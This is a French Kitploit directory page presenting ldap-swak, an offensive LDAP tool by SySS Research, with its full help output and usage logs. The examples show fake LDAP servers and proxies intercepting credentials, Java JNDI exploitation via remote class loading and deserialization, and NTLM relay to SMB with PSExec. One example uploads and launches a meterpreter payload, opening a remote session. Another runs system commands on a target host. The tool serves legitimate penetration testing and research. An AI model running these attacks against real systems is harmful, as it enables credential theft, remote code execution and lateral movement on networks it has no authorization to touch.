Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ldap-swak — LDAP Swiss Army Knife | Kitploit
Outils/GitHubGitHub/syss-research/ldap-swak
ExploitationMouvement LatéralCollecte d'InformationsPost-ExploitationTests d'IntrusionRed Teaming
GitHubsyss-research/ldap-swak

ldap-swak

LDAP Swiss Army Knife

Voir le dépôt
5383il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Couteau suisse LDAP

Utilitaire de serveur LDAP multifonction. Configurez rapidement un serveur LDAP à des fins de test, des proxies MitM pour intercepter le trafic en clair ou transmettre des identifiants NTLM, ou exploitez diverses vulnérabilités des clients Java JNDI/LDAP.

Auteur : Moritz Bechler ([email protected]) Dépôt du projet : https://github.com/SySS-Research/ldap-swak

Compilation

Maven requis.

mvn package verify

-> target/ldap-swak-0.0.5-SNAPSHOT-all.jar

Exécution

Exécutez simplement le fichier JAR avec la sous-commande et les options appropriées :

root@kitploit:~
> java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar 
[...]
LDAP Swiss Army Knife
      --accept-pass=<acceptPass>
                             Accepter la connexion avec ce mot de passe
      --accept-user=<acceptUser>
                             Accepter la connexion avec cet utilisateur
      --bind=<bind>          Adresse réseau à laquelle se lier
      --cert=<certificate>   Fichier de certificat à utiliser (PEM, conjointement avec --key)
      --fakecert-bits=<fakeCertBitsize>
                             Taille de clé RSA lors de la génération de la clé privée pour
                               les faux certificats
                               Défaut : 2048
      --fakecert-cn=<fakeCertCN>
                             DN du sujet à utiliser lors de la création de faux certificats
                               Défaut : cn=fake
      --fakecert-lifetime=<fakeCertLifetime>
                             Durée de vie du faux certificat en jours
                               Défaut : 7
      --fakecert-san=<fakeCertSANs>
                             Noms alternatifs du sujet du faux certificat
      --fakecert-sigalg=<fakeCertSigalg>
                             Algorithme de signature à utiliser lors de la génération de
                               faux certificats
                               Défaut : SHA256withRSA
      --fakecert-validfrom=<fakeCertValidFrom>
                             Début de validité du faux certificat
      --fakecert-validto=<fakeCertValidTo>
                             Fin de validité du faux certificat
      --key=<privateKey>     Fichier de clé privée à utiliser (PEM, conjointement avec
                               --cert)
      --keystore=<keystore>  Keystore depuis lequel charger la clé/certificat
      --keystore-pass=<keystorePass>
                               Défaut : changeit
      --keystore-type=<keystoreType>
                             Type de keystore
                               Défaut : JKS
      --nostarttls           Désactiver StartTLS
      --ntlm-relay=<relayServer>
                             Relayer l'échange NTLM intercepté vers le serveur SMB pour PSExec
      --psexec-cmd=<psexecCMD>
                             À l'aide des identifiants relayés, exécuter une commande système
                               via PSExec
      --psexec-cmd-log=<psexecCMDLog>
                             Rediriger la sortie de la commande CMD vers un fichier (chemin du système de fichiers)
      --psexec-cmd-script-loc=<psexecCMDScriptLoc>
                             PARTAGE/Chemin du script de lancement utilisé pour la redirection
                               de sortie
                               Défaut : /ADMIN$/Temp/
      --psexec-cmd-script-path=<psexecCMDScriptPath>
                             Système de fichiers local du script de lancement utilisé pour la
                               redirection de sortie
                               Défaut : C:\Windows\Temp\
      --psexec-display-name=<psexecDisplayName>
                             Nom d'affichage du service utilisé pour PSExec
      --psexec-psh-encode    Encoder la charge utile Powershell PSExec
      --psexec-script=<psexecPSHScript>
                             À l'aide des identifiants relayés, exécuter du code Powershell
                               via PSExec (des limites de taille s'appliquent)
      --psexec-script-file=<psexecPSHScriptFile>
                             À l'aide des identifiants relayés, exécuter du code Powershell
                               depuis un fichier script via PSExec (des limites de taille s'appliquent)
      --psexec-service-name=<psexecServiceName>
                             Nom du service utilisé pour PSExec
      --relay-read-charset=<readFileCharset>
                             Jeu de caractères pour la lecture des fichiers distants,
                               pertinent uniquement lors de la sortie
                               Défaut : UTF-8
      --relay-read-from=<readFileSource>
                             À l'aide des identifiants relayés, lire le fichier depuis ce
                               partage/chemin cible (PARTAGE/chemin/)
      --relay-read-retries=<readFileRetries>
                             Nombre de tentatives de lecture du fichier, en attendant
                               éventuellement la fin de la commande, espacées d'1 seconde
                               Défaut : 5
      --relay-read-to=<readFileTarget>
                             Fichier local pour stocker les données du fichier lu, laisser
                               vide pour stdout
      --relay-write-file=<writeFileSource>
                             À l'aide des identifiants relayés, écrire ce fichier local sur
                               le serveur
      --relay-write-to=<writeFileTarget>
                             À l'aide des identifiants relayés, écrire le fichier vers ce
                               partage/chemin cible (PARTAGE/chemin/)
      --request-log          Journaliser toutes les requêtes
      --schemaless           Ne pas fournir de schéma
      --server-base-dn=<baseDN>
                             DN de base à annoncer
      --ssl                  Exécuter un écouteur SSL/TLS
      --tls-cipher=<tlsCiphers>
                             Suites de chiffrement TLS à autoriser
                             voir https://docs.oracle.
                               com/javase/9/docs/specs/security/standard-names.html
      --tls-proto=<tlsProtocols>
                             Versions TLS à autoriser (TLS12, TLS11, TLS10, SSLv3,
                               SSLv2}
      --uid-attr=<uidAttrs>  Attributs permettant d'extraire le nom d'utilisateur des DN
      --write-creds=<writeCreds>
                             Écrire les identifiants interceptés dans ce fichier (format :
                               utilisateur mot de passe, un par ligne)
  -h, --help                 Afficher ce message d'aide.
  -p, --port=<port>          Port à utiliser (défauts : 389 pour le mode normal, 636 pour SSL)
  -q, --quiet                Afficher uniquement les avertissements et les erreurs
  -v, --verbose              Spécifiez plusieurs options -v pour augmenter la verbosité.
                             Par exemple, `-v -v -v` ou `-vvv`
  -V, --version              afficher les informations de version et quitter
Commandes :
  fake   Lancer un serveur LDAP factice
  proxy  Lancer un serveur LDAP proxy
  jndi   Exploits Java JNDI

Les écouteurs SSL/TLS/StartTLS utilisent un certificat auto-signé si aucun autre certificat n'est fourni. --tls-cipher et --tls-proto peuvent être utilisés pour définir les suites de chiffrement autorisées. Cependant, l'utilisation d'algorithmes hérités nécessite des ajustements du fichier java.security.properties de l'installation Java. Voir https://www.java.com/en/configure_crypto.html

Sous-commandes - Modes de fonctionnement

fake - Serveur factice

Interceptez simplement les identifiants ou fournissez des données au client.

Options supplémentaires :

root@kitploit:~
 --load=    Fichier LDIF contenant les données à charger
 --schema=  Fichier LDIF contenant la définition du schéma
            (si le serveur n'est pas exécuté avec --schemaless, un schéma par défaut de base est appliqué)
root@kitploit:~
> java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar fake -p 1389
12:52:32.484 INFO FakeServer - Starting StartTLS listener on *:1389

> ldapsearch -H ldap://localhost:1389/ -ZZ -x -D cn=test -w test
ldap_bind: Invalid credentials (49)

=> 12:53:35.653 INFO CredentialsOperationInterceptor - Intercepted credentials cn=test:test

proxy - Serveur proxy

Transmettez toutes les requêtes à un ensemble de serveurs cibles. Cela enregistre également les identifiants interceptés.

Options supplémentaires :

root@kitploit:~
 --server=        Serveurs backend auxquels se connecter
 --proxy-ssl      Se connecter aux serveurs backend via SSL
 --proxy-starttls Se connecter aux serveurs backend via StartTLS
 --srv=           Résoudre le serveur backend à partir d'un enregistrement DNS SRV
                  (par ex. --srv  _ldap._tcp.dc._msdcs.<AD-Domain>)
root@kitploit:~
> java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar proxy -p 2389 --server localhost:1389
12:54:19.695 INFO ProxyServer - Starting StartTLS proxy on *:2389
> ldapsearch -H ldap://localhost:2389/ -ZZ -x -D cn=foo -w test -b cn=test
ldap_bind: Invalid credentials (49)

=> 12:54:47.230 INFO CredentialsOperationInterceptor - Intercepted credentials cn=foo:test

jndi - Exploits Java JNDI

Plusieurs modes de serveur factice spécifiques pour exploiter les clients LDAP Java JNDI.

Reference

Options :

root@kitploit:~
--ref-class=     Classe à charger (ObjectFactory)
--ref-codebase=  URL codebase depuis laquelle charger la classe

Pour toutes les requêtes, renvoie un objet de référence JNDI avec une ObjectFactory depuis le classpath spécifié. Lorsqu'un client JNDI effectue une requête avec la sémantique lookup(), cette classe est chargée et l'exécution de code est ainsi obtenue.

Le chargement de classes à distance a été désactivé par défaut à partir de Java 11.0.1, 8u191, 7u201 et 6u211 (CVE-2018-3149).

Des références classiques, redirigeant vers un autre serveur/protocole, peuvent également être spécifiées avec les options :

root@kitploit:~
--ref-address=	 Adresse de référence (plusieurs possibles)
--ref-factory=   Classe factory à utiliser

Referral

Options :

root@kitploit:~
--referral=	  URI à renvoyer comme referral

Les clients JNDI configurés pour suivre les referrals peuvent être redirigés vers des services RMI via des URL rmi:. L'accès à ces services permet des attaques par désérialisation ; sur des versions Java mal configurées ou obsolètes, une RCE peut être obtenue en renvoyant un objet Reference depuis la recherche RMI. (https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/RMIRefServer.java)

Objet sérialisé

Options :

root@kitploit:~
--serialized=  Fichier contenant les données sérialisées à renvoyer

Pour toutes les requêtes, renvoie des objets Java sérialisés. Lorsqu'un client JNDI effectue une requête avec la sémantique lookup(), les données fournies seront désérialisées.

Relais NTLM

Les serveurs LDAP permettent de relayer l'échange NTLM vers un serveur SMB distant. Souvent, cela donne accès aux fichiers du serveur ciblé et aux interfaces RPC avec les permissions du compte utilisateur qui s'authentifie.

Trois opérations de base sur le serveur cible sont implémentées :

  • lecture de fichiers
  • exécution de commandes système et de Powershell (PSExec/SMBExec)
  • écriture de fichiers

L'ordre des opérations est un enchaînement pratique écriture/exécution/lecture.

Par exemple, téléverser et lancer une instance meterpreter :

root@kitploit:~
java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar fake -p 1389 --ntlm-relay 192.168.56.101 --relay-write-file /tmp/test.exe --relay-write-to 'ADMIN$/Temp/foo.exe' --psexec-cmd "C:\\Windows\\Temp\\foo.exe"
10:36:53.789 INFO FakeServer - Starting StartTLS listener on *:1389
10:36:56.278 INFO PassTheHashNTLMSASLBindHandler - Have NTLM login administrator@DESKTOP-L96LL3H
10:36:56.325 INFO PassTheHashRunner - Command line %COMSPEC% /b /c start /b /min C:\Windows\Temp\foo.exe
10:36:56.333 INFO PassTheHashRunner - Service already exists
10:36:56.337 INFO PassTheHashRunner - Recreated service
10:36:56.355 INFO PassTheHashRunner - Service start timeout, expected: this is not an actual service binary


[*] Meterpreter session 4 opened (192.168.56.1:8443 -> 192.168.56.101:49696) at 2019-02-19 10:36:56 +0100

Ou, exécuter une commande système et obtenir sa sortie :

root@kitploit:~
java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar fake -p 1389 --ntlm-relay 192.168.56.101  --psexec-cmd "net user" --psexec-cmd-log C:\\Windows\\Temp\\test.log --relay-read-from 'ADMIN$/Temp/test.log'
10:39:09.154 INFO FakeServer - Starting StartTLS listener on *:1389
10:39:12.564 INFO PassTheHashNTLMSASLBindHandler - Have NTLM login administrator@DESKTOP-L96LL3H
10:39:12.600 INFO PassTheHashRunner - Command line %COMSPEC% /b /c start /b /min C:\Windows\Temp\launch-1550569151302.cmd
10:39:12.610 INFO PassTheHashRunner - Service already exists
10:39:12.614 INFO PassTheHashRunner - Recreated service
10:39:12.632 INFO PassTheHashRunner - Service start timeout, expected: this is not an actual service binary

User accounts for \\

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest                    
mbechler                 WDAGUtilityAccount       
The command completed with one or more errors.
Télécharger l’outil